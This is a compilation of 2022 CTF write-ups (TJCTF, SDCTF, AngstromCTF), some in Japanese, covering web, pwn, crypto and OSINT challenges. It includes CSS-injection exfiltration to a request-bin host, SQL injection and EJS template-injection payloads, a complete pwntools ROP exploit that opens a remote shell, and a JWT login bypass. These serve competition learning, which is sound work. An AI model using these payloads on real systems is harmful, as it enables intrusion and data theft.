await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });~~~```adminのJokeを閲覧することを目指す。 Jokeは他者のものをログインなしで閲覧できるが、URLはランダム(8桁)である。 また、プロフィールにジョークの一覧が表示されるが、プロフィールページのURLもランダムである。 壊れたimgタグを挿入して情報をリークできないかと考え、投稿したJokeのソースを眺めていると以下のタグが目に留まった。 ```html~~~ <span> Satoki Logout </span>~~~```閲覧者のプロフィールアドレスがレンダリングされている(ログアウトすると無くなる)。 Admin Botであればここはadminのプロフィールアドレスである。 これをCSSiにて取り出せばよいと気付く。 CSPに立ち返ると、CSSは`style-src 'self' fonts.googleapis.com;`であるので、cssファイルを同一オリジンに設置できればよい。 投稿機能やファイルアップロード機能を調べていると、プロフィール画像の変更にてファイルの種類や拡張子のチェックを行っていないことがわかる(ちなみにファイル名はランダムであり、拡張子部分でもHTMLタグを挿入できるがあまり意味はない)。 以下のようなCSSをアップロードし、Jokeページで読み込むと、閲覧者のプロフィールアドレスの一文字目がリークできる。 リクエスト受信は[RequestBin.com](https://requestbin.com/)を用いた。 ```cssa[href^='/profile/a'] {background-image: url('https://xxxxxxxxxxxxx.x.pipedream.net/?a');}a[href^='/profile/b'] {background-image: url('https://xxxxxxxxxxxxx.x.pipedream.net/?b');}a[href^='/profile/c'] {background-image: url('https://xxxxxxxxxxxxx.x.pipedream.net/?c');}a[href^='/profile/d'] {background-image: url('https://xxxxxxxxxxxxx.x.pipedream.net/?d');}~~~```Jokeページではアップロードに成功したCSSファイルを`</title><link rel="stylesheet" href="https://jokster.tjc.tf/uploads/xxxxxxxx.css">`と読み込んでやる。 これで生成されたJokeページをAdmin Botに送信してやると、adminのプロフィールアドレスの一文字目が取得できる。 これを八文字分繰り返せばよいが、面倒なので以下のcss_gen.pyで二文字ずつリークするcssを作成した。 ```pythonurl = "https://xxxxxxxxxxxxx.x.pipedream.net"admin_id = ""
with open("example.css", mode="w") as f: for i in "abcdefghijklmnopqrstuvwxyz0123456789-_": for j in "abcdefghijklmnopqrstuvwxyz0123456789-_": f.write(f"a[href^='/profile/{admin_id}{i}{j}'] {{background-image: url('{url}/?{admin_id}{i}{j}');}}\n")```これをアップロードした後、それを読み込むJokeをAdmin Botに踏ませる作業を繰り返すと以下のようなリクエストが届く。 ```/?x3/?x3fw/?x3fwr0/?x3fwr0nt```これにより、adminのプロフィールアドレスが`https://jokster.tjc.tf/profile/x3fwr0nt`とわかった。  アクセスするとflagが書かれていた。
## tjctf{but_i_tHink_im_f1na1lY_cl34N_9b9c0ad1} |
1) At first Adjust the Image Hue with -1802) Then Reverse search with the image you transformed3) Then you will get that song name as Rock Bitch Mafia4) Then find the Album of that song (I visitied thir spootify Album)5) The 7th song of that album is "Rck Bitch"6) Then Find the name of the girl is that cover pic7) I searched by "rock Bitch Mafia Cover Model girl namel"8) Then I found the name was "India Waters"
So the flag will be EZ-CTF{Rock_Bitch_India_Waters} |
# lamb-sauce (web - 116 points)## ContextThe application suggests that the flage (lamb sauce) is hidden somewhere.## Vulnerabilities- sensitive data in page source## ExploitationRight click and analyze the page source. A comment suggests that the flag is stored in `/flag-9291f0c1-0feb-40aa-af3c-d61031fd9896.txt`. Follow that endpoint and grab the flag!
Flag: `tjctf{idk_man_but_here's_a_flag_462c964f0a177541}` |
# SDCTF 2022 OSINT Team: **WolvSec**
[**Part of the ship...** [76 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#part-of-the-ship) [**Google Ransom** [155 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#google-ransom) [**Samuel** [88 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#samuel) [**Turing Test** [49 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#turing-test) [**Paypal Playboy** [23 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#paypal-playboy) [**Mann Hunt** [96 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#mann-hunt)
## Part of the ship...Difficulty: **Easy** Authors: `Blarthogg` Points: **150** Solves: **76**
Challenge Description: Sometimes I worry about my friend... he's way too into memes, he's always smiling, and he's always spouting nonsense about some "forbidden app." I don't know what he's talking about, but maybe you can help me figure it out! All I know is a username he used way back in the day. Good luck! Flag format is sdctf{flag} **Username** DanFlashes
### Approach
I started off this challenge by looking up the username `DanFlashes` on different social media platforms to see if one was linked to SDCTF. I found one on Instagram, but it seemed unrelated to the competition. I went back to the prompt to see what other clues could lead us to this account. I decided to google “forbidden app” and found [urban dictionary definitions](https://www.urbandictionary.com/define.php?term=The%20Forbidden%20App) that this app is iFunny, and the definitions also mentioned being “part of the ship” (like the challenge name) so I figured this was the right social media.
Looking at DanFlashes [on iFunny](https://ifunny.co/user/DanFlashes), we see that this page does not exist. However, the challenge description states that this was “‘way back’ in the day” which hints that we should use the [Wayback Machine](https://web.archive.org/web/20220128003432/https://ifunny.co/user/DanFlashes) (always look for hints like these in OSINT challenges!). From this we can see a snapshot was taken January 28th of this year, which gives us the flag on DanFlashes' profile.
flag: `sdctf{morning_noon_and_night_I_meme}`
## Google RansomDifficulty: **Easy** Authors: `KNOXDEV` Points: **100** Solves: **155**
Challenge Description: Oh no! A hacker has stolen a flag from us and is holding it ransom. Can you help us figure out who created this document? Find their email address and demand they return the flag! **Attachments** [ransom letter](https://docs.google.com/document/d/1MbY-aT4WY6jcfTugUEpLTjPQyIL9pnZgX_jP8d8G2Uo/edit)
### Approach From the ransom letter, we see a cryptic note about someone threatening to sign their email up for an annoying newsletter. As threatening as this is, it doesn’t give us any information about who made this google doc. However, since it’s google there is likely a way to view the email of this account owner. I went to the “shared with me” section on google drive to get more information about the random letter. Looking at `Details`, we can see that the owner of the document is `Amy SDCTF`.
I could have used [GHunt](https://github.com/mxrch/GHunt) to get the exact email, but from the Turing Test challenge I assumed the email was in the same format as `[email protected]` and confirmed this on [epieos](https://epieos.com/). After sending `[email protected]` an email demanding the flag, we get a response giving it to us.
flag: `sdctf{0p3n_S0uRCE_1S_aMaz1NG}`
## SamuelDifficulty: **Medium** Authors: `k3v1n` Points: **88** Solves: **160**
Challenge Description: Where is this?https://www.youtube.com/watch?v=fDGVF1fK1cA
Flag format: sdctf{latitude,longitude} using decimal degrees and 3 decimal places rounded toward zero (Ex. 4.1239 → 4.123, -4.0009 → -4.000)
Example: If the location were https://goo.gl/maps/TnhzfxXKg9TDYDfR9 the flag would be sdctf{38.889,-77.035} **Note** The youtube channel/account is not relevant to this challenge. Only the video content is relevant.
### Approach The video linked shows us a blinking beacon at night, with a plane flying by in the distance. I initially thought this was an [Aviation OSINT](https://www.osintessentials.com/aviation) since the plane in the background was the only other thing in the video. I had no idea how to use the beacon or distant plane.
As the competition progressed, I saw that the challenge had a lot of solves and I figured it likely wasn’t some insanely hard Aviation OSINT. I then realized the blinking beacon was likely morse code. `.-- .... .- - / .... .- - .... / --. --- -.. / .-- .-. --- ..- --. .... -` translated to **WHAT HATH GOD WROUGHT**. After googling what that means, we learn it was [the official first Morse code message transmitted in the US](https://en.wikipedia.org/wiki/What_hath_God_wrought#:~:text=%22What%20hath%20God%20wrought%22%20is,the%20Baltimore%E2%80%93Washington%20telegraph%20line).
I thought then the location may be where the message was originally transferred or received, but couldn’t find anything there. I then just searched “What hath god wrought” on Google Maps and found a sculpture at the University of California San Diego. Seeing that the competition is hosted by San Diego State University, I assumed this was the right spot. From this we can get the coordinates on [Google Maps](https://www.google.com/maps/place/What+Hath+God+Wrought/@32.8751745,-117.2408527,21z/data=!4m5!3m4!1s0x80dc07e0d30e81a7:0x69087278617d6b1d!8m2!3d32.8752134!4d-117.2407749) in the url, and truncating 32.8751745,-117.2408527 to get the flag.
flag: `sdctf{32.875,-117.240}`
## Turing TestDifficulty: **Medium** Authors: `Blarthogg, KNOXDEV` Points: **200** Solves: **49**
Challenge Description: My friend has been locked out of his account! Can you help him recover it? **Email** `[email protected]` **Website** https://vault.sdc.tf/ **Note** Twitter does not need to be used for this challenge.
### Approach My first step in this challenge was going to the website, and started spamming random passwords to see what would happen. After 5 incorrect guesses, an `Account Support` window is prompted. We are then asked security questions to get back into our account (as well as bread puns).
For the first prompt, we are asked our name. We can use [epieos](https://epieos.com/) on Jack’s email to find his name is Jack Banner.
Next we are prompted with “What month were you born in?” I wasn't sure if you were supposed to brute force this but figured since it was an OSINT challenge thre would be a social media account. Epieos showed Jack’s email as being connected to a Twitter, but luckily the challenge admin noticed this as well and added a disclaimer that twitter does not need to be used. What could have happened is someone else registered an account with that email, which admins have to be prepared to fix for these kinds of challenges. I tried other social media platforms, and specifically ones that I did not explore yet. OSINT categories usually try to avoid using the same platform twice. Looking up “Jack Banner” on Facebook, we see [the account](https://www.facebook.com/profile.php?id=100077609021228) we are looking for.
The first post we can use to find his birthday by a quick google search of “99 days before april 19” giving us their birthday of January 10th.
The next prompt is “What is the name of your dog?” Looking around more on their facebook, we see an instagram for their dog linked in the Intro section. Something I learned from this challenge is that this can **only be seen if you are logged into Facebook**, so for some OSINT challenges you may need to be logged in. Although for regular OSINT gathering usually you don’t want to alert the person you are looking at, such as on LinkedIn. On the Instagram account we see that the dog’s name is Ravioli.
The final prompt is “What are the first six characters of your flag?” which is `sdctf{` for this CTF. This lets us access the flag vault and get the flag.
flag: `sdctf{7he_1m1747i0n_94m3}`
## Paypal PlayboyDifficulty: **Hard** Authors: `Blarthogg` Points: **300** Solves: **23**
Challenge Description: We've apprehended somebody suspected of purchasing SDCTF flags off an underground market. That said, this guy is small fry. We need to find the leaker and bring them to brutal justice!
Attached is an email we retrieved from his inbox. See if you can't figure out the boss of their operation. Flag format is sdctf{...} **mbox** [Click here to download](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/mbox) **Note** You should not have to spend any money to solve this challenge **Note** If you encounter an email not in the format of `[name][email protected]` it is not in the challenge scope.
### Approach The [mbox](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/mbox) file contains an email from `[email protected]` about "cheap sdctf banners". I used [epieos](https://epieos.com/) to see more information about that email, but it doesn't exist. I then wanted to see what `支付.png` (payment.png) was. Using a [base64 to image converter](https://codebeautify.org/base64-to-image-converter), we get a qr code that leads to [this Cash App](https://cash.app/$limosheen?qr=1).
The username on Cash App is `limosheen`. I first used [Sherlock](https://github.com/sherlock-project/sherlock) to look for accounts connected to that username but couldn’t find anything. I looked back at the email for more information that we could use to find limosheen.
I decoded the plaintext section of the email with base64 and utf-8, then ran it through Google Translate:
``Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. You can also find us on PayPal or on the blockchain. 0xbad ... A43B ..... SDCTF {Forgery_bana} 3️⃣ ✳ ✳️ ? ? ? ? ? ? ? ? ❇ ❇ ❇️ ⬇ ?️ ? ↘️ ? ? ? ◾️ ? ? ? ✳️ ? ? ? ? ♓️ ? ?``
This note says we also find them on PayPal. When searching for limosheen on PayPal, we can see that there exists an account with the SDCTF logo. The challenge description said "You should not have to spend any money to solve this challenge", although some people still sent the account money but received nothing :(. After some research I learned about paypal.me accounts which give more information about a user. Going to [limosheen’s profile](https://www.paypal.com/limosheen), we find this:
I saw a string on this that started with 0x and incorrectly thought it was a hex string by default, and decoding it gave nothing. I eventually learned it was an Ethereum address by just googling and inputting the address into crypto websites. In hindsight I should have definitely realized this sooner with the plaintext saying we can also find them on the blockchain, and the ropETH comment on the PayPal. When looking up the address on [Etherscan](https://etherscan.io/address/0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B) we find that the address is valid, but no entries are found.
I thought that this was a dead end at first and started doing reverse image searches and forensics on the PayPal banner, but did not get any results. I looked back at the Ethereum address and figured there must be a reason that it’s there. On Etherscan there is a notification saying that the address can be found on other chains, and sure enough we see that it’s on the Ropsten Testnet.
I tried googling the “ropETH” hint from the PayPal prior but must have done so poorly since I could not find Ropsten Testnet, but it at least confirmed we were in the right place now. We see Ethereum was transferred to ` 0x949213139D202115c8b878E8Af1F1D8949459f3f`, and this address has only inbound transfers, so it can be assumed that this is the boss we are looking for.
The PayPal account said we could find the boss on Twitter, so I put this address into twitter and found the account [Jon Fakeflag](https://twitter.com/wrestling_wave_).
From this account we get a base64 string that gives us the flag.
flag: `sdctf{You_Ever_Dance_With_the_Devil_In_the_Pale_Moonlight}`
## Mann HuntDifficulty: **Hard** Authors: `KNOXDEV` Points: **400** Solves: **96**
Challenge Description: We were on the trail of a notorious hacker earlier this week, but they suddenly went dark, taking down all of their internet presence...All we have is a username. We need you to track down their personal email address! It will be in the form `****[email protected]`. Once you find it, send them an email to demand the flag! **Username** `mann5549`
### Approach After a quick search for mann5549 we find that they have a Twitter.
I tried using the [Wayback Machine](https://archive.org/web/) on this Twitter but could not find anything useful. I went to the website linked on Twitter where we find this message stating that we will never find this user.
Wayback Machine does not prove to be useful here either, so I looked at the source code of the website and found a link to a [GitHub repository](https://github.com/manncyber/manncodes.github.io) for the website.
```…name="description" content="Contribute to the blog at https://github.com/manncyber/manncodes.github.io"/><meta data-react-helmet="true" property="og:title"...```
In this repository we can see a commit that manncyber made removing certain data because he was being tracked. My first thought was maybe they used their email in this commit, so I added `.patch` to the end of the commit url but they used a standard GitHub email for this.
Here is where I started overthinking the challenge and tried a couple of dead end routes. I saw an image called `salty_egg` was removed in this commit, and when reverse image searvching it I was lead to this [Wikipedia article](https://en.wikipedia.org/wiki/Salted_duck_egg). I spent a long time looking through the editing history profiles and IPs before realizing the image was a [stock template](https://github.com/gatsbyjs/gatsby-starter-blog/blob/master/content/blog/hello-world/index.md) for Gatsby.
In this commit history we can also see that the blog author’s name `Emanuel Hunt` was removed. I initially looked on [epieos](https://epieos.com/) to see if `[email protected]` or `[email protected]` were valid emails, but they were not. I finally just googled “Emanuel Hunt” (which I should have done initially) and was immediatley shown a search result for an Emanuel Hunt from San Diego on [LinkedIn](https://www.linkedin.com/in/emanuel-hunt-34749a207/).
<img src="https://user-images.githubusercontent.com/74334127/167732744-19ae3a38-58fb-42dd-a0c6-6b4c3ab151bc.png" width=60% height=60%>
If we go to the resume that is linked, the email is unfortunately blanked out. However, if we hover over Emanuel Hunt’s profile picture on the right hand side the email `[email protected]` is shown.
This email is fairly simple to guess and some people may have done that initially. Sending them an email demanding the flag we get this response:
flag:`sdctf{MaNN_tH@t_w@s_Ann0YinG}`
|
# game-leaderboard:web:174ptsI (superandypancake) signed up for this tournament to win a flag! Unfortunately, I'm not so good. But I'm sure there still is a way to get the flag... right?!? [game-leaderboard.tjc.tf](https://game-leaderboard.tjc.tf/)
Downloads [index.js](index.js)
# Solutionソースとサイトが渡される。 アクセスすると、謎のリーダーボードがあり、フィルターで表示を変更できるようだ。 [site.png](site/site.png) ソースは以下のようであった。 ```js~~~const FLAG = fs.readFileSync(`${__dirname}/flag.txt`).toString().trim()
const getLeaderboard = (minScore) => { const where = (typeof minScore !== 'undefined' && minScore !== '') ? ` WHERE score > ${minScore}` : '' const query = `SELECT profile_id, name, score FROM leaderboard${where} ORDER BY score DESC` const stmt = db.prepare(query)
const leaderboard = [] for (const row of stmt.iterate()) { if (leaderboard.length === 0) { leaderboard.push({ rank: 1, ...row }) continue } const last = leaderboard[leaderboard.length - 1] const rank = (row.score == last.score) ? last.rank : last.rank + 1 leaderboard.push({ rank, ...row }) }
return leaderboard}~~~app.post('/', (req, res) => { const leaderboard = getLeaderboard(req.body.filter) return res.render('leaderboard', { leaderboard })})
app.get('/user/:userID', (req, res) => { const leaderboard = getLeaderboard() const total = leaderboard.length
const profile = leaderboard.find(x => x.profile_id == req.params.userID) if (typeof profile === 'undefined') { return res.render('user_info', { notFound: true }) }
const flag = (profile.rank === 1) ? FLAG : 'This is reserved for winners only!' return res.render('user_info', { total, flag, ...profile })})~~~```rankが1なユーザのページにflagがあるようだ。 ただし、`https://game-leaderboard.tjc.tf/user/1`などは404であるので、ページ上の数値は`userID`ではないようだ。 `getLeaderboard`に自明なSQLiがあるので以下のように、`userID`とされる`profile_id`を取得する。 フロントで数値であるかの入力チェックをしているがcurlなので無視できる。 ```bash$ curl -X POST https://game-leaderboard.tjc.tf/ -d "filter='"~~~Internal Server Error~~~$ curl -X POST https://game-leaderboard.tjc.tf/ -d "filter=0 UNION SELECT 1, 1, 1 ; -- satoki"~~~ <tr> <td>1</td> <td>1</td> <td class="text-center">1</td> </tr>~~~$ curl -X POST https://game-leaderboard.tjc.tf/ -d "filter=0 UNION SELECT 1, 1, profile_id FROM leaderboard ; -- satoki"~~~ <tr> <td>1</td> <td>1</td> <td class="text-center">1e3ee1488d2d09fa</td> </tr>
<tr> <td>2</td> <td>1</td> <td class="text-center">2b7485706b1f7090</td> </tr>
<tr> <td>3</td> <td>1</td> <td class="text-center">6896e98c2e4584db</td> </tr>
<tr> <td>4</td> <td>1</td> <td class="text-center">a248cd0874717e51</td> </tr>
<tr> <td>5</td> <td>1</td> <td class="text-center">c35b9ef595b655a0</td> </tr>~~~```無事にuserIDを取得できた。 あとはユーザのページにアクセスしてやればよい。 flag [flag.png](site/flag.png) `https://game-leaderboard.tjc.tf/user/1e3ee1488d2d09fa`にflagが書かれていた。
## tjctf{h3llo_w1nn3r_0r_4re_y0u?} |
# Secure Horoscope
## Challenge
Our horoscope developers have pivoted to a more security-focused approach to predicting the future. You won’t find breaking into this one quite so easy!
Connect ```nc sechoroscope.sdc.tf 1337```
[binary](https://github.com/tj-oconnor/ctf-writeups/blob/main/sdctf/securehoroscope/secureHoroscope)
By green beans
## Solution
The program suffers a bufferoverflow vulnerability in ```getInfo()```
```004007b1 int64_t getInfo()
004007ca void var_78004007ca memset(&var_78, 0, 100)004007e0 read(fd: 0, buf: &var_78, nbytes: 140)004007ec puts(str: &var_78)004007f8 puts(str: "hm, I'll have to think about wha…")0040080e return fflush(fp: stdout)```
However, we noticed that in the 24 bytes we had for the overflow have some corruption. However, luckily there are 24 bytes from the first ```fgets call``` at ```0x400717```
```pwndbg> stack
0 0x40080e getInfo+93f 1 0x4242424242424242f 2 0x4242424242424242f 3 0x142424242f 4 0x4141414141414141f 5 0x4141414141414141f 6 0x4141414141414141f 7 0x40000a
```
So we developed a small chain to ```pop r14, r15, ret``` to remove the corrupted bytes and advanced into the uncorrupted chain.
```pythonstage1 = pop_junkstage1 += p64(0xdeadbeef)stage1 += p64(0xbadc0d3)```
After that we decided to leak libc using ret2_plt
```pythonstage0 = pop_rdistage0 +=p64(e.got['puts'])stage0 +=p64(e.plt['puts'])```
After leaking libc and calculating the base address, we used ```one_gadget``` to execute ```system('/bin/sh\0')```
```└─# one_gadget -f libc6_2.27-3ubuntu1.5_amd64.so 0x4f2a5 execve("/bin/sh", rsp+0x40, environ)constraints: rsp & 0xf == 0 rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL````
The gadget we chose requried rsp+40 to be null. We padded our overflow with ```p64(0x0)```, which set ```rsp+40 = NULL```
```pythonpad = b'6/1/22'pad += cyclic(34)pad += p64(0x0)*10 p.sendline(pad+one_gadget)```
Finally, putting it all together, our working exploit follows.
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary,checksec=False)r = ROP(e)
if args.REMOTE: libc = ELF('libc6_2.27-3ubuntu1.5_amd64.so',checksec=False)else: libc = ELF('libc6_2.33-6_amd64.so',checksec=False)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('sechoroscope.sdc.tf', 1337) else: return process(e.path)
p = start()
def ret2_plt(): pop_junk = p64(0x0400870) pop_rdi = p64(0x0400873)
stage1 = pop_junk stage1 += p64(0xdeadbeef) stage1 += p64(0xbadc0d3)
stage0 = pop_rdi stage0 +=p64(e.got['puts']) stage0 +=p64(e.plt['puts']) stage0 += p64(e.sym['main'])
log.info("Clearing Corrupted Stack") p.recvuntil(b'To get started, tell us how you feel') p.sendline(stage0) p.recvuntil(b'have your very own horoscope') p.sendline(b'\n') p.recvuntil(b'have your very own horoscope')
log.info("Leaking Libc; Returning to Main") p.sendline(b'6/1/22'+cyclic(114)+stage1) p.recvuntil(b'5 business days') p.recvline() leak=u64(p.recv(6)+b'\x00\x00') log.info("Libc Leak (puts): %s" %hex(leak)) libc.address=leak-libc.sym['puts'] log.info("Libc base address: %s" %hex(libc.address))
def ret2_onegadget(): if args.REMOTE: one_gadget = p64(libc.address+0x4f302) else: one_gadget = p64(libc.address+0xcb5d0)
p.recvuntil(b'have your very own horoscope') log.info("Returning to One Gadget")
pad = b'6/1/22' pad += cyclic(34) pad += p64(0x0)*10 p.sendline(pad+one_gadget) p.interactive()
ret2_plt()ret2_onegadget()``` |
game-leaderboard writeup. Came very close with this, managed to get it after reading another writeup. Very interesting challenge since i've never done UNION sql injection before |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/AngstromCTF_2022/#number-game) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/AngstromCTF_2022#number-game) out
Again another little tool for us to challenge and once we have it we can check the solution on the server. So [binary ninja](https://cloud.binary.ninja/) as suggested does a great job but [ghidra](https://ghidra-sre.org/) were already booted:
The static analysis does a great job and we can see what we need to do in order to get the flag for convenience here is the decompiled code with some comments:
```Cundefined8 main(void)
{ int iVar1; undefined8 uVar2; size_t sVar3; char local_58 [72]; int local_10; <- was unassigned as integer but based on the read_int() function call it was quite clear it had to be an int int local_c; <- was unassigned as integer but based on the read_int() function call it was quite clear it had to be an int puts("Welcome to clam\'s number game!"); printf("Step right up and guess your first number: "); fflush(stdout); local_c = read_int(); if (local_c == 314159265) { <- we know that local_c is an int so this is an int check and we can convert the hex value in an int printf("That\'s great, but can you follow it up? "); fflush(stdout); local_10 = read_int(); if (local_10 + local_c == 513371337) { <- we know that local_10 + local_c is an int so this is an int check and we can convert the hex value in an int puts("That was the easy part. Now, what\'s the 42nd number of the Maltese alphabet?"); getchar(); fgets(local_58,0x40,stdin); <- takes our input sVar3 = strcspn(local_58,"\n"); <- cuts out the \n when we click enter local_58[sVar3] = '\0'; iVar1 = strcmp(local_58,"the airspeed velocity of an unladen swallow"); <- is the string it compares to as the last solution if (iVar1 == 0) { puts("How... how did you get that? That reference doesn\'t even make sense..."); puts("Whatever, you can have your flag I guess."); print_flag(); uVar2 = 0; } else { puts("Ha! I knew I would get you there!"); uVar2 = 1; } } else { puts("Sorry but you didn\'t win :("); uVar2 = 1; } } else { puts("Sorry but you didn\'t win :("); uVar2 = 1; } return uVar2;}```Based on the comments above we concluded the following entry's in order for the flag:
1. 314159265 first number2. 314159265 + x = 513371337 -> x = 199212072 second number3. "the airspeed velocity of an unladen swallow" third number without quotes
Which brings us```console└─$ nc challs.actf.co 31334Welcome to clam's number game!Step right up and guess your first number: 314159265That's great, but can you follow it up? 199212072That was the easy part. Now, what's the 42nd number of the Maltese alphabet?the airspeed velocity of an unladen swallowHow... how did you get that? That reference doesn't even make sense...Whatever, you can have your flag I guess.actf{it_turns_out_you_dont_need_source_huh}```You could also create an easy script for that but meh was okay when you copy fast enough the answers o(^▽^)o |
# viewy:web:312ptsviews [Instancer](https://instancer.tjctf.org/viewy)
Downloads [server.zip](server.zip)
# Solutionインスタンス生成URLとソースが配布される。 生成すると謎のレンダリングサイトであった。 viewy [site.png](site/site.png) ソースを見ると以下のようであった。 ```js~~~app.post('/', (req, res) => { const id = uuidv4(); const { content } = req.body; const fileName = path.join(__dirname, 'views/uploads', `${id}.ejs`); fs.writeFileSync(fileName, content); return res.redirect('/views/' + id);});
app.get('/views/:id', (req, res) => { if ( fs.existsSync(path.join(__dirname, 'views/uploads', `${req.params.id}.ejs`)) ) { res.render('view', { id: req.params.id }); } else { res.status(404).send('Not found'); }});~~~```コンテンツを投稿できるようで、ejsを自由に記述できる。 明らかなSSTIであるので以下のペイロードを送信し、flag.txtを読み取る(flag.txtの場所はソースファイルより一階層上であるとわかる)。 ```ejs<%- global.process.mainModule.require('fs').readFileSync('../flag.txt').toString() %>```flag [flag.png](site/flag.png) flagが読み取れた。
## tjctf{4l1_th3_v1eW5_wh3333e333} |
Yelling something about "Vinegar" makes me think Vigenere so let's try that. Throwing `wbeyrjgewcfroggpesremvxgvefyrcmnnymxhdacgnnrwprhxpuyyaupbmskjrxfopr` into dcode we get the following:
So we get some words out of the starting key `UNKNO`, so setting that up as a partial key and just moving forward with more `?` in the partial decoder we eventually get to:
`Flag: sdctf{couldntuseleetstringsinthisonesadlybutwemadeitextralongtocompensate}` |
## Secure Vault> Clam saw all those cool celebrities posting everything they do on twitter, so he decided to give it a go himself. Turns out, that's a horrible idea. After recovering from his emotional trauma, he wrote a secure vault to store his deepest secrets. Legend has it that there's even a flag in there. Can you get it?
Problem have use after free problem (no invalidate jwt after delete account). Register new account, login, delete account, and request to /vault to get flagFlag: `actf{is_this_what_uaf_is}` |
# game-leaderboard (web - 174 points)## ContextThe application shows a leaderboard and the source code leaks an api to call each user ID in order to get information. If the user ID is the winner, the flag is shown## Vulnerabilities- SQL injection- broken authorization## ExploitationIn order to get the user information we need to find out what is the `profile_id` of the first user, which is not printed out in the leaderboard but it is requested to the database. The query is vulnerable to SQL injection after the clause `WHERE score >` because there is no sanitization before the query is executed. I used the following query to leak the `profile_id` and print it out after the players (I used burp to intercept the request because client side checks do not allow letter insertion): `1 UNION select 1,profile_id,1 FROM leaderboard where score>42--` (url encoded)
The last step is to call enpoint `user/:profile_id` and get the flag :)
Flag: `tjctf{h3llo_w1nn3r_0r_4re_y0u?} ` |
# fake geoguessr (forensics - 121 points)## ContextThere is an image and the description of the challenge suggests to look inside metadata## Vulnerabilities- sensitive data inside metadata## Exploitation`exiftool lake.png`. The flag is split in two.
flag: `tjctf{thats_a_lot_of_metadata}` |
Going to the homepage link in the description, we can see a page with a login/register form.
After registering, we can see a textbox with a string and we can see that a cookie is set with a JWT ([Json Web Token](https://jwt.io/)).
We can get the content of the token by going on `https://jwt.io/#debugger-io`. Here we can see the that it contains the User-ID of the account that's logged in
Now, looking at the source of the challenge, we can see that the objective is to visit the endpoint `/vault` while being "unrestricted"
```jsapp.get("/vault", (req, res) => { if (!res.locals.user) { res.status(401).send("Log in first"); return; } const user = users.get(res.locals.user.uid); res.type("text/plain").send(user.restricted ? user.vault : flag);});```Going back on the site while being logged in, the content of `user.vault` is none other than the content of the text area in the home:
As we have seen before, after login or registration, the cookie will be set with the UID of the user and signed with a random key.
Since we already know the format of the secret key (`0.[0-9]+`), I've started to try to break the jwt token by using [jwtcrack](https://github.com/brendan-rius/c-jwt-cracker), to try to forge a valid token.This tool uses a brute-force attack (so it tries every possible combination of the specified charset) to retrieve the secret used to sign the token.
It can be lauched with: `docker run -it --rm jwtcrack [token] [charset] [maxlen] [algorithm]`
So, in our case: `docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiIwLjM0Nzc5Mjc3MTY2MDg4MjIiLCJpYXQiOjE2NTE1NzcwNDh9.asR5mHIczZ-s1tZHCoCNoLKtPsPFu8S46adyRwOYa-U 0.123456789 20 sha256`
After a day without anything (and thanks to a nudge from VCT on Discord), I've turned back to the source code.
In express, every app has an `app.use` function that's used as middleware and is called on every request.
```jsapp.use((req, res, next) => { try { res.locals.user = jwt.verify(req.cookies.token, jwtKey, { algorithms: ["HS256"], }); } catch (err) { if (req.cookies.token) { res.clearCookie("token"); } } next();});```
We can notice that the only condition set the user variable, is to use a valid jwt as a cookie.
Also, the login function (as opposed to the register function) never verifies that the fields of the request are actually defined.```jsapp.post("/login", (req, res) => { const user = users.get(users.lookup(req.body.username)); if (user && user.password === req.body.password) { res.cookie( "token", jwt.sign({ uid: user.uid }, jwtKey, { algorithm: "HS256" }) ); res.redirect("/"); } else { res.redirect("/?e=" + encodeURIComponent("Invalid username/password")); }});```
We can use this to our advantage: in theory by making a login request without having a body, it will generate a valid token
Let's try our hypothesis: we can use a tool called "Burp" to intercept our login request and modify its content.
Here we can send the request to the Repeater page, where we can edit and replay the request without problems.
Now we have a valid token, but that's not related to any user!
We can see why this worked by carefully reading the functions called in the login method:```jsconst user = users.get(users.lookup(req.body.username));
//~~~~
get(uid) { return this.users[uid] ?? {};}lookup(username) { return this.usernames[username];}```In javascript, some objects when used in a boolean statement are always evaluated to `true` and others to `false`. These objects are called [Truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) and [Falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) respectively.
Here we can see two examples of these kinds of objects:
In the `lookup` function, if we pass an undefined value, it will return `undefined`.
As for the `get(uid)`, il will try to evaluate `this.users[undefined]`, but since `undefined` is a [Falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy), it will return an empty object.
So, now we have```jsif (user && user.password === req.body.password)```where `user` is an empty object so a [Truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy).
The same goes for the password check: if we don't send a password in the request and since the empty object won't have a password attribute, both will be evaluated to `undefined` so `undefined === undefined` which is true and will be created a correct cookie.
Now, when accessing the `vault` endpoint, `user.restricted` will be undefined too, and since `undefined` is a [Falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy), instead of the vault content, we'll get the flag!
So everything we need to do is to set the cookie with the value obtained by making the empty `/login` request, and then we can read the flag successfully.
---
